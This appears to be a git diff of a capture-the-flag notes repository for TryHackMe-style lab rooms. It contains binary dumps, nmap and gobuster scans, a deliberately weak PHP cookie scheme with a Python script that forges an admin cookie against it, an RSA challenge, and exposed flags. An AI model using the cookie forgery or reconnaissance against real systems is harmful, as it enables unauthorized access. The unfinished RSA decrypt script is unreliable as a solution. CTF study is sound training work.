||||
0x0000000000000019 (INIT_ARRAY) 0x3dd0
|
||||
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
|
||||
0x000000000000001a (FINI_ARRAY) 0x3dd8
|
||||
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
|
||||
0x000000006ffffef5 (GNU_HASH) 0x3a0
|
||||
0x0000000000000005 (STRTAB) 0x4d0
|
||||
0x0000000000000006 (SYMTAB) 0x3c8
|
||||
0x000000000000000a (STRSZ) 189 (bytes)
|
||||
0x000000000000000b (SYMENT) 24 (bytes)
|
||||
0x0000000000000015 (DEBUG) 0x0
|
||||
0x0000000000000003 (PLTGOT) 0x3fe8
|
||||
0x0000000000000002 (PLTRELSZ) 96 (bytes)
|
||||
0x0000000000000014 (PLTREL) RELA
|
||||
0x0000000000000017 (JMPREL) 0x6c0
|
||||
0x0000000000000007 (RELA) 0x5e8
|
||||
0x0000000000000008 (RELASZ) 216 (bytes)
|
||||
0x0000000000000009 (RELAENT) 24 (bytes)
|
||||
0x000000006ffffffb (FLAGS_1) Flags: PIE
|
||||
0x000000006ffffffe (VERNEED) 0x5a8
|
||||
0x000000006fffffff (VERNEEDNUM) 1
|
||||
0x000000006ffffff0 (VERSYM) 0x58e
|
||||
0x000000006ffffff9 (RELACOUNT) 3
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
|
||||
Relocation section '.rela.dyn' at offset 0x5e8 contains 9 entries:
|
||||
Offset Info Type Sym. Value Sym. Name + Addend
|
||||
000000003dd0 000000000008 R_X86_64_RELATIVE 1160
|
||||
000000003dd8 000000000008 R_X86_64_RELATIVE 1120
|
||||
000000004028 000000000008 R_X86_64_RELATIVE 4028
|
||||
000000003fc0 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
|
||||
000000003fc8 000200000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTM[...] + 0
|
||||
000000003fd0 000500000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
|
||||
000000003fd8 000800000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCl[...] + 0
|
||||
000000003fe0 000a00000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0
|
||||
000000004030 000900000005 R_X86_64_COPY 0000000000004030 stdout@GLIBC_2.2.5 + 0
|
||||
|
||||
Relocation section '.rela.plt' at offset 0x6c0 contains 4 entries:
|
||||
Offset Info Type Sym. Value Sym. Name + Addend
|
||||
000000004000 000300000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
|
||||
000000004008 000400000007 R_X86_64_JUMP_SLO 0000000000000000 strcmp@GLIBC_2.2.5 + 0
|
||||
000000004010 000600000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
|
||||
000000004018 000700000007 R_X86_64_JUMP_SLO 0000000000000000 fwrite@GLIBC_2.2.5 + 0
|
||||
No processor specific unwind information to decode
|
||||
|
||||
Symbol table '.dynsym' contains 11 entries:
|
||||
Num: Value Size Type Bind Vis Ndx Name
|
||||
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
|
||||
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (2)
|
||||
2: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
|
||||
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (3)
|
||||
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (3)
|
||||
5: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
|
||||
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __[...]@GLIBC_2.7 (4)
|
||||
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (3)
|
||||
8: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMC[...]
|
||||
9: 0000000000004030 8 OBJECT GLOBAL DEFAULT 26 [...]@GLIBC_2.2.5 (3)
|
||||
10: 0000000000000000 0 FUNC WEAK DEFAULT UND [...]@GLIBC_2.2.5 (3)
|
||||
|
||||
Symbol table '.symtab' contains 40 entries:
|
||||
Num: Value Size Type Bind Vis Ndx Name
|
||||
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
|
||||
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS Scrt1.o
|
||||
2: 000000000000037c 32 OBJECT LOCAL DEFAULT 4 __abi_tag
|
||||
3: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
|
||||
4: 00000000000010b0 0 FUNC LOCAL DEFAULT 15 deregister_tm_clones
|
||||
5: 00000000000010e0 0 FUNC LOCAL DEFAULT 15 register_tm_clones
|
||||
6: 0000000000001120 0 FUNC LOCAL DEFAULT 15 __do_global_dtors_aux
|
||||
7: 0000000000004038 1 OBJECT LOCAL DEFAULT 26 completed.0
|
||||
8: 0000000000003dd8 0 OBJECT LOCAL DEFAULT 21 __do_global_dtor[...]
|
||||
9: 0000000000001160 0 FUNC LOCAL DEFAULT 15 frame_dummy
|
||||
10: 0000000000003dd0 0 OBJECT LOCAL DEFAULT 20 __frame_dummy_in[...]
|
||||
11: 0000000000000000 0 FILE LOCAL DEFAULT ABS zzz.c
|
||||
12: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
|
||||
13: 0000000000002120 0 OBJECT LOCAL DEFAULT 19 __FRAME_END__
|
||||
14: 0000000000000000 0 FILE LOCAL DEFAULT ABS
|
||||
15: 0000000000003de0 0 OBJECT LOCAL DEFAULT 22 _DYNAMIC
|
||||
16: 0000000000002048 0 NOTYPE LOCAL DEFAULT 18 __GNU_EH_FRAME_HDR
|
||||
17: 0000000000003fe8 0 OBJECT LOCAL DEFAULT 24 _GLOBAL_OFFSET_TABLE_
|
||||
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_mai[...]
|
||||
19: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
|
||||
20: 0000000000004030 8 OBJECT GLOBAL DEFAULT 26 stdout@GLIBC_2.2.5
|
||||
21: 0000000000004020 0 NOTYPE WEAK DEFAULT 25 data_start
|
||||
22: 0000000000004030 0 NOTYPE GLOBAL DEFAULT 25 _edata
|
||||
23: 0000000000001268 0 FUNC GLOBAL HIDDEN 16 _fini
|
||||
24: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5
|
||||
25: 0000000000004020 0 NOTYPE GLOBAL DEFAULT 25 __data_start
|
||||
26: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcmp@GLIBC_2.2.5
|
||||
27: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
|
||||
28: 0000000000004028 0 OBJECT GLOBAL HIDDEN 25 __dso_handle
|
||||
29: 0000000000002000 4 OBJECT GLOBAL DEFAULT 17 _IO_stdin_used
|
||||
30: 0000000000004040 0 NOTYPE GLOBAL DEFAULT 26 _end
|
||||
31: 0000000000001080 34 FUNC GLOBAL DEFAULT 15 _start
|
||||
32: 0000000000004030 0 NOTYPE GLOBAL DEFAULT 26 __bss_start
|
||||
33: 0000000000001169 253 FUNC GLOBAL DEFAULT 15 main
|
||||
34: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __isoc99_scanf@G[...]
|
||||
35: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5
|
||||
36: 0000000000004030 0 OBJECT GLOBAL HIDDEN 25 __TMC_END__
|
||||
37: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMC[...]
|
||||
38: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@G[...]
|
||||
39: 0000000000001000 0 FUNC GLOBAL HIDDEN 12 _init
|
||||
|
||||
Histogram for `.gnu.hash' bucket list length (total of 2 buckets):
|
||||
Length Number % of total Coverage
|
||||
0 1 ( 50.0%)
|
||||
1 0 ( 0.0%) 0.0%
|
||||
2 1 ( 50.0%) 100.0%
|
||||
|
||||
Version symbols section '.gnu.version' contains 11 entries:
|
||||
Addr: 0x000000000000058e Offset: 0x0000058e Link: 6 (.dynsym)
|
||||
000: 0 (*local*) 2 (GLIBC_2.34) 1 (*global*) 3 (GLIBC_2.2.5)
|
||||
004: 3 (GLIBC_2.2.5) 1 (*global*) 4 (GLIBC_2.7) 3 (GLIBC_2.2.5)
|
||||
008: 1 (*global*) 3 (GLIBC_2.2.5) 3 (GLIBC_2.2.5)
|
||||
|
||||
Version needs section '.gnu.version_r' contains 1 entry:
|
||||
Addr: 0x00000000000005a8 Offset: 0x000005a8 Link: 7 (.dynstr)
|
||||
000000: Version: 1 File: libc.so.6 Cnt: 3
|
||||
0x0010: Name: GLIBC_2.7 Flags: none Version: 4
|
||||
0x0020: Name: GLIBC_2.2.5 Flags: none Version: 3
|
||||
0x0030: Name: GLIBC_2.34 Flags: none Version: 2
|
||||
|
||||
Displaying notes found in: .note.gnu.property
|
||||
Owner Data size Description
|
||||
GNU 0x00000010 NT_GNU_PROPERTY_TYPE_0
|
||||
Properties: x86 ISA needed: x86-64-baseline
|
||||
|
||||
Displaying notes found in: .note.gnu.build-id
|
||||
Owner Data size Description
|
||||
GNU 0x00000014 NT_GNU_BUILD_ID (unique build ID bitstring)
|
||||
Build ID: 06dcfaf13fb76a4b556852c5fbf9725ac21054fd
|
||||
|
||||
Displaying notes found in: .note.ABI-tag
|
||||
Owner Data size Description
|
||||
GNU 0x00000010 NT_GNU_ABI_TAG (ABI version tag)
|
||||
OS: Linux, ABI: 3.2.0
|
||||
90
CTF/Compiled/strings.output
Normal file
90
CTF/Compiled/strings.output
Normal file
@@ -0,0 +1,90 @@
|
||||
/lib64/ld-linux-x86-64.so.2
|
||||
jKUhR
|
||||
__cxa_finalize
|
||||
__libc_start_main
|
||||
strcmp
|
||||
stdout
|
||||
__isoc99_scanf
|
||||
fwrite
|
||||
printf
|
||||
libc.so.6
|
||||
GLIBC_2.7
|
||||
GLIBC_2.2.5
|
||||
GLIBC_2.34
|
||||
_ITM_deregisterTMCloneTable
|
||||
__gmon_start__
|
||||
_ITM_registerTMCloneTable
|
||||
PTE1
|
||||
u+UH
|
||||
StringsIH
|
||||
sForNoobH
|
||||
Password:
|
||||
DoYouEven%sCTF
|
||||
__dso_handle
|
||||
_init
|
||||
Correct!
|
||||
Try again!
|
||||
;*3$"
|
||||
GCC: (Debian 11.3.0-5) 11.3.0
|
||||
Scrt1.o
|
||||
__abi_tag
|
||||
crtstuff.c
|
||||
deregister_tm_clones
|
||||
__do_global_dtors_aux
|
||||
completed.0
|
||||
__do_global_dtors_aux_fini_array_entry
|
||||
frame_dummy
|
||||
__frame_dummy_init_array_entry
|
||||
zzz.c
|
||||
__FRAME_END__
|
||||
_DYNAMIC
|
||||
__GNU_EH_FRAME_HDR
|
||||
_GLOBAL_OFFSET_TABLE_
|
||||
__libc_start_main@GLIBC_2.34
|
||||
_ITM_deregisterTMCloneTable
|
||||
stdout@GLIBC_2.2.5
|
||||
_edata
|
||||
_fini
|
||||
printf@GLIBC_2.2.5
|
||||
__data_start
|
||||
strcmp@GLIBC_2.2.5
|
||||
__gmon_start__
|
||||
__dso_handle
|
||||
_IO_stdin_used
|
||||
_end
|
||||
__bss_start
|
||||
main
|
||||
__isoc99_scanf@GLIBC_2.7
|
||||
fwrite@GLIBC_2.2.5
|
||||
__TMC_END__
|
||||
_ITM_registerTMCloneTable
|
||||
__cxa_finalize@GLIBC_2.2.5
|
||||
_init
|
||||
.symtab
|
||||
.strtab
|
||||
.shstrtab
|
||||
.interp
|
||||
.note.gnu.property
|
||||
.note.gnu.build-id
|
||||
.note.ABI-tag
|
||||
.gnu.hash
|
||||
.dynsym
|
||||
.dynstr
|
||||
.gnu.version
|
||||
.gnu.version_r
|
||||
.rela.dyn
|
||||
.rela.plt
|
||||
.init
|
||||
.plt.got
|
||||
.text
|
||||
.fini
|
||||
.rodata
|
||||
.eh_frame_hdr
|
||||
.eh_frame
|
||||
.init_array
|
||||
.fini_array
|
||||
.dynamic
|
||||
.got.plt
|
||||
.data
|
||||
.bss
|
||||
.comment
|
||||
0
CTF/Corridor/gobuster_scan1.txt
Normal file
0
CTF/Corridor/gobuster_scan1.txt
Normal file
1
CTF/Corridor/hash_test.txt
Normal file
1
CTF/Corridor/hash_test.txt
Normal file
@@ -0,0 +1 @@
|
||||
eccbc87e4b5ce2fe28308fd9f2a7baf3
|
||||
21
CTF/Corridor/nmap_scan1.txt
Normal file
21
CTF/Corridor/nmap_scan1.txt
Normal file
@@ -0,0 +1,21 @@
|
||||
# Nmap 7.95 scan initiated Fri Oct 17 14:43:38 2025 as: /usr/lib/nmap/nmap --privileged -A -T4 -oN nmap_scan1.txt 10.10.113.20
|
||||
Nmap scan report for 10.10.113.20
|
||||
Host is up (0.085s latency).
|
||||
Not shown: 999 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
80/tcp open http Werkzeug httpd 2.0.3 (Python 3.10.2)
|
||||
|_http-title: Corridor
|
||||
|_http-server-header: Werkzeug/2.0.3 Python/3.10.2
|
||||
Device type: general purpose
|
||||
Running: Linux 4.X|5.X
|
||||
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
|
||||
OS details: Linux 4.15 - 5.19
|
||||
Network Distance: 2 hops
|
||||
|
||||
TRACEROUTE (using port 111/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 155.99 ms 10.14.0.1
|
||||
2 155.95 ms 10.10.113.20
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Fri Oct 17 14:43:51 2025 -- 1 IP address (1 host up) scanned in 12.98 seconds
|
||||
96
CTF/CryptoFailureV1.1/cookie.php
Normal file
96
CTF/CryptoFailureV1.1/cookie.php
Normal file
@@ -0,0 +1,96 @@
|
||||
<?php
|
||||
include('config.php');
|
||||
|
||||
function generate_cookie($user,$ENC_SECRET_KEY) {
|
||||
$SALT=generatesalt(2);
|
||||
|
||||
$secure_cookie_string = $user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY;
|
||||
|
||||
$secure_cookie = make_secure_cookie($secure_cookie_string,$SALT);
|
||||
|
||||
setcookie("secure_cookie",$secure_cookie,time()+3600,'/','',false);
|
||||
setcookie("user","$user",time()+3600,'/','',false);
|
||||
}
|
||||
|
||||
function cryptstring($what,$SALT){
|
||||
|
||||
return crypt($what,$SALT);
|
||||
|
||||
}
|
||||
|
||||
|
||||
function make_secure_cookie($text,$SALT) {
|
||||
|
||||
$secure_cookie='';
|
||||
|
||||
foreach ( str_split($text,8) as $el ) {
|
||||
$secure_cookie .= cryptstring($el,$SALT);
|
||||
}
|
||||
|
||||
return($secure_cookie);
|
||||
}
|
||||
|
||||
|
||||
function generatesalt($n) {
|
||||
$randomString='';
|
||||
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
|
||||
for ($i = 0; $i < $n; $i++) {
|
||||
$index = rand(0, strlen($characters) - 1);
|
||||
$randomString .= $characters[$index];
|
||||
}
|
||||
return $randomString;
|
||||
}
|
||||
|
||||
|
||||
|
||||
function verify_cookie($ENC_SECRET_KEY){
|
||||
|
||||
|
||||
$crypted_cookie=$_COOKIE['secure_cookie'];
|
||||
$user=$_COOKIE['user'];
|
||||
$string=$user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY;
|
||||
|
||||
$salt=substr($_COOKIE['secure_cookie'],0,2);
|
||||
|
||||
if(make_secure_cookie($string,$salt)===$crypted_cookie) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if ( isset($_COOKIE['secure_cookie']) && isset($_COOKIE['user'])) {
|
||||
|
||||
$user=$_COOKIE['user'];
|
||||
|
||||
if (verify_cookie($ENC_SECRET_KEY)) {
|
||||
|
||||
if ($user === "admin") {
|
||||
|
||||
echo 'congrats: ******flag here******. Now I want the key.';
|
||||
|
||||
} else {
|
||||
|
||||
$length=strlen($_SERVER['HTTP_USER_AGENT']);
|
||||
print "<p>You are logged in as " . $user . ":" . str_repeat("*", $length) . "\n";
|
||||
print "<p>SSO cookie is protected with traditional military grade en<b>crypt</b>ion\n";
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
print "<p>You are not logged in\n";
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
|
||||
generate_cookie('guest',$ENC_SECRET_KEY);
|
||||
|
||||
header('Location: /');
|
||||
|
||||
|
||||
}
|
||||
?>
|
||||
1
CTF/CryptoFailureV1.1/cookie.txt
Normal file
1
CTF/CryptoFailureV1.1/cookie.txt
Normal file
@@ -0,0 +1 @@
|
||||
ZMo2taPOmMhdMZM2z2AphWcILoZMxFinCLiRVmEZMWLmCZ2GHerYZM1rS15r7gIwAZMqbuJOmUXbHEZMQJNUkDXzcjgZM81jTHEw6x7AZM5QmbHcA6swYZMfaTKbn9OSVUZMcy9ybzEcYooZMS9XvXW2YLQgZM0x9ygBRXkd.ZMjgjfPOZb5ZYZMw.PexD1NMpUZMOAoe8smu6HQZMWVrh9ayWl76ZMfh8Y.UuqFnQZMZ0z2OMEoJH2ZMA3%2FHC9OFvXcZMQiJ3o8MZfP.ZMw8DRJbQhT5cZMk1melCAEgg6ZMCkfK2wdjjywZMw9YyP4ZUgmIZMdz5BwNSEbiIZMMdf1cyEoC.6ZMt5kzmvdKFcwZMlzwOBHtPfJI
|
||||
1
CTF/CryptoFailureV1.1/file_fuzz1.txt
Normal file
1
CTF/CryptoFailureV1.1/file_fuzz1.txt
Normal file
File diff suppressed because one or more lines are too long
26
CTF/CryptoFailureV1.1/nmap_scan1.txt
Normal file
26
CTF/CryptoFailureV1.1/nmap_scan1.txt
Normal file
@@ -0,0 +1,26 @@
|
||||
# Nmap 7.95 scan initiated Fri Oct 17 16:03:12 2025 as: /usr/lib/nmap/nmap --privileged -A -T4 -oN nmap_scan1.txt 10.10.199.200
|
||||
Nmap scan report for 10.10.199.200
|
||||
Host is up (0.099s latency).
|
||||
Not shown: 998 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 256 57:2c:43:78:0c:d3:13:5b:8d:83:df:63:cf:53:61:91 (ECDSA)
|
||||
|_ 256 45:e1:3c:eb:a6:2d:d7:c6:bb:43:24:7e:02:e9:11:39 (ED25519)
|
||||
80/tcp open http Apache httpd 2.4.59 ((Debian))
|
||||
|_http-title: Did not follow redirect to /
|
||||
|_http-server-header: Apache/2.4.59 (Debian)
|
||||
Device type: general purpose
|
||||
Running: Linux 4.X
|
||||
OS CPE: cpe:/o:linux:linux_kernel:4.15
|
||||
OS details: Linux 4.15
|
||||
Network Distance: 2 hops
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
TRACEROUTE (using port 554/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 69.27 ms 10.14.0.1
|
||||
2 68.41 ms 10.10.199.200
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Fri Oct 17 16:03:26 2025 -- 1 IP address (1 host up) scanned in 13.81 seconds
|
||||
69
CTF/CryptoFailureV1.1/python_create_cookie.py
Normal file
69
CTF/CryptoFailureV1.1/python_create_cookie.py
Normal file
@@ -0,0 +1,69 @@
|
||||
#!/usr/bin/env python3
|
||||
# generate_admin_cookie_passlib.py
|
||||
# Produces ready-to-use Set-Cookie headers for user=admin replicating PHP crypt() with 2-char salt.
|
||||
#
|
||||
# Requires: pip install passlib
|
||||
#
|
||||
import sys
|
||||
import time
|
||||
import random
|
||||
import email.utils
|
||||
from passlib.hash import des_crypt # pip install passlib
|
||||
|
||||
def generatesalt(n=2):
|
||||
characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
return ''.join(random.choice(characters) for _ in range(n))
|
||||
|
||||
def make_secure_cookie(text, salt):
|
||||
"""
|
||||
Replicates the PHP code:
|
||||
foreach (str_split($text, 8) as $el) { $secure_cookie .= crypt($el, $SALT); }
|
||||
using DES-based crypt (2-char salt). Each chunk becomes a 13-char crypt output;
|
||||
these are concatenated to form the secure_cookie.
|
||||
"""
|
||||
chunks = [text[i:i+8] for i in range(0, len(text), 8)]
|
||||
out = "".join(des_crypt.hash(chunk, salt=salt) for chunk in chunks)
|
||||
return out
|
||||
|
||||
def http_expires_secs(seconds_from_now=3600):
|
||||
return email.utils.formatdate(time.time() + seconds_from_now, usegmt=True)
|
||||
|
||||
def generate_admin_cookie(enc_secret_key, user_agent=None, salt=None, lifetime=3600):
|
||||
if user_agent is None:
|
||||
user_agent = "Mozilla/5.0 (X11; Linux x86_64)"
|
||||
if salt is None:
|
||||
salt = generatesalt(2)
|
||||
secure_cookie_string = f"admin:{user_agent}:{enc_secret_key}"
|
||||
secure_cookie = make_secure_cookie(secure_cookie_string, salt)
|
||||
expires = http_expires_secs(lifetime)
|
||||
return {
|
||||
"user": "admin",
|
||||
"secure_cookie": secure_cookie,
|
||||
"salt": salt,
|
||||
"expires": expires,
|
||||
"path": "/"
|
||||
}
|
||||
|
||||
def main():
|
||||
args = sys.argv[1:]
|
||||
if len(args) >= 1:
|
||||
ENC_SECRET_KEY = args[0]
|
||||
else:
|
||||
print("Usage: python generate_admin_cookie_passlib.py <ENC_SECRET_KEY> [User-Agent] [salt]")
|
||||
sys.exit(1)
|
||||
|
||||
ua = args[1] if len(args) >= 2 else "Mozilla/5.0 (X11; Linux x86_64)"
|
||||
salt_arg = args[2] if len(args) >= 3 else None
|
||||
|
||||
cookie = generate_admin_cookie(ENC_SECRET_KEY, user_agent=ua, salt=salt_arg)
|
||||
print("# Ready-to-use Set-Cookie headers (paste into Burp / DevTools -> Request Headers)")
|
||||
print(f"Set-Cookie: user={cookie['user']}; Expires={cookie['expires']}; Path={cookie['path']}")
|
||||
print(f"Set-Cookie: secure_cookie={cookie['secure_cookie']}; Expires={cookie['expires']}; Path={cookie['path']}")
|
||||
print("\n# Example: curl with cookies (server sees your request's User-Agent):")
|
||||
print(f"curl -A \"{ua}\" -b \"user={cookie['user']}; secure_cookie={cookie['secure_cookie']}\" http://TARGET/")
|
||||
print("\n# If you want to use a specific salt (e.g. to match an existing cookie's salt), pass it as the 3rd arg.")
|
||||
print("# Note: replace TARGET with the challenge domain/host when using curl.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
14
CTF/CryptoSystem/decrypt.py
Normal file
14
CTF/CryptoSystem/decrypt.py
Normal file
@@ -0,0 +1,14 @@
|
||||
import sympy
|
||||
|
||||
n = 15956250162063169819282947443743274370048643274416742655348817823973383829364700573954709256391245826513107784713930378963551647706777479778285473302665664446406061485616884195924631582130633137574953293367927991283669562895956699807156958071540818023122362163066253240925121801013767660074748021238790391454429710804497432783852601549399523002968004989537717283440868312648042676103745061431799927120153523260328285953425136675794192604406865878795209326998767174918642599709728617452705492122243853548109914399185369813289827342294084203933615645390728890698153490318636544474714700796569746488209438597446475170891
|
||||
e = 0x10001
|
||||
|
||||
p, q = sympy.factorint(n)
|
||||
|
||||
phi = (p-1)*(q-1)
|
||||
|
||||
d = inverse(e, phi)
|
||||
|
||||
c = 3591116664311986976882299385598135447435246460706500887241769555088416359682787844532414943573794993699976035504884662834956846849863199643104254423886040489307177240200877443325036469020737734735252009890203860703565467027494906178455257487560902599823364571072627673274663460167258994444999732164163413069705603918912918029341906731249618390560631294516460072060282096338188363218018310558256333502075481132593474784272529318141983016684762611853350058135420177436511646593703541994904632405891675848987355444490338162636360806437862679321612136147437578799696630631933277767263530526354532898655937702383789647510
|
||||
|
||||
test =
|
||||
15
CTF/CryptoSystem/file.py
Normal file
15
CTF/CryptoSystem/file.py
Normal file
@@ -0,0 +1,15 @@
|
||||
from Crypto.Util.number import *
|
||||
from flag import FLAG
|
||||
|
||||
def primo(n):
|
||||
n += 2 if n & 1 else 1
|
||||
while not isPrime(n):
|
||||
n += 2
|
||||
return n
|
||||
|
||||
p = getPrime(1024)
|
||||
q = primo(p)
|
||||
n = p * q
|
||||
e = 0x10001
|
||||
d = inverse(e, (p-1) * (q-1))
|
||||
c = pow(bytes_to_long(FLAG.encode()), e, n)
|
||||
51
CTF/Decryptify1.2/api.js
Normal file
51
CTF/Decryptify1.2/api.js
Normal file
@@ -0,0 +1,51 @@
|
||||
function b(c,d){
|
||||
const e=a();
|
||||
return b=function(f,g){
|
||||
f=f-0x165;
|
||||
let h=e[f];
|
||||
return h;
|
||||
},b(c,d);
|
||||
}
|
||||
const j=b;
|
||||
function a(){
|
||||
const k=[
|
||||
'16OTYqOr',
|
||||
'861cPVRNJ',
|
||||
'474AnPRwy',
|
||||
'H7gY2tJ9wQzD4rS1',
|
||||
'5228dijopu',
|
||||
'29131EDUYqd',
|
||||
'8756315tjjUKB',
|
||||
'1232020YOKSiQ',
|
||||
'7042671GTNtXE',
|
||||
'1593688UqvBWv',
|
||||
'90209ggCpyY'
|
||||
];
|
||||
a=function(){
|
||||
return k;
|
||||
};
|
||||
return a();
|
||||
} (function(d,e) {
|
||||
const i=b,f=d();
|
||||
while(!![]){
|
||||
try{
|
||||
const g=
|
||||
parseInt(i(0x16b))/0x1+
|
||||
-parseInt(i(0x16f))/0x2+
|
||||
parseInt(i(0x167))/0x3*(
|
||||
parseInt(i(0x16a))/0x4)+
|
||||
parseInt(i(0x16c))/0x5+
|
||||
parseInt(i(0x168))/0x6*(
|
||||
parseInt(i(0x165))/0x7)+
|
||||
-parseInt(i(0x166))/0x8*(parseInt(i(0x16e))/0x9)+
|
||||
parseInt(i(0x16d))/0xa;
|
||||
if(g===e)break;
|
||||
else f['push'](
|
||||
f['shift']());
|
||||
}catch(h){
|
||||
f['push'](f['shift']());
|
||||
}
|
||||
}
|
||||
}
|
||||
(a,0xe43f0));
|
||||
const c=j(0x169);
|
||||
9
CTF/Decryptify1.2/app.log
Normal file
9
CTF/Decryptify1.2/app.log
Normal file
@@ -0,0 +1,9 @@
|
||||
2025-01-23 14:32:56 - User POST to /index.php (Login attempt)
|
||||
2025-01-23 14:33:01 - User POST to /index.php (Login attempt)
|
||||
2025-01-23 14:33:05 - User GET /index.php (Login page access)
|
||||
2025-01-23 14:33:15 - User POST to /index.php (Login attempt)
|
||||
2025-01-23 14:34:20 - User POST to /index.php (Invite created, code: MTM0ODMzNzEyMg== for alpha@fake.thm)
|
||||
2025-01-23 14:35:25 - User GET /index.php (Login page access)
|
||||
2025-01-23 14:36:30 - User POST to /dashboard.php (User alpha@fake.thm deactivated)
|
||||
2025-01-23 14:37:35 - User GET /login.php (Page not found)
|
||||
2025-01-23 14:38:40 - User POST to /dashboard.php (New user created: hello@fake.thm)
|
||||
44
CTF/Decryptify1.2/dashboard.php
Normal file
44
CTF/Decryptify1.2/dashboard.php
Normal file
@@ -0,0 +1,44 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Dashboard</title>
|
||||
<link href="/css/bootstrap.min.css" rel="stylesheet">
|
||||
</head>
|
||||
<body>
|
||||
<header class="bg-primary text-white text-center py-3">
|
||||
<h1>Dashboard</h1>
|
||||
</header>
|
||||
<main class="container my-5">
|
||||
<h2>Welcome, hello@fake.thm! - Flag: THM{CryptographyPwn007}</h2>
|
||||
<a href="?action=logout" class="btn btn-danger">Logout</a>
|
||||
<table class="table mt-4">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Username</th>
|
||||
<th>Role</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>hello@fake.thm</td>
|
||||
<td>user</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>admin@fake.thm</td>
|
||||
<td>admin</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</main>
|
||||
<footer class="bg-light text-center py-3">
|
||||
<p>© <strong>2025
|
||||
</strong> Decryptify</p>
|
||||
<form method="get">
|
||||
<input type="hidden" name="date" value="+KLFnGqUbCmwFdWQnLAIzk9GCqfIegXfKnhRWNiXPE4=">
|
||||
</form>
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
24
CTF/Decryptify1.2/gobuster_1.output
Normal file
24
CTF/Decryptify1.2/gobuster_1.output
Normal file
@@ -0,0 +1,24 @@
|
||||
===============================================================
|
||||
Gobuster v3.6
|
||||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
|
||||
===============================================================
|
||||
[+] Url: http://decryptify.thm:1337
|
||||
[+] Method: GET
|
||||
[+] Threads: 10
|
||||
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
|
||||
[+] Negative Status codes: 404
|
||||
[+] User Agent: gobuster/3.6
|
||||
[+] Timeout: 10s
|
||||
===============================================================
|
||||
Starting gobuster in directory enumeration mode
|
||||
===============================================================
|
||||
|
||||
[2K/js (Status: 301) [Size: 320] [--> http://decryptify.thm:1337/js/]
|
||||
|
||||
[2K/css (Status: 301) [Size: 321] [--> http://decryptify.thm:1337/css/]
|
||||
|
||||
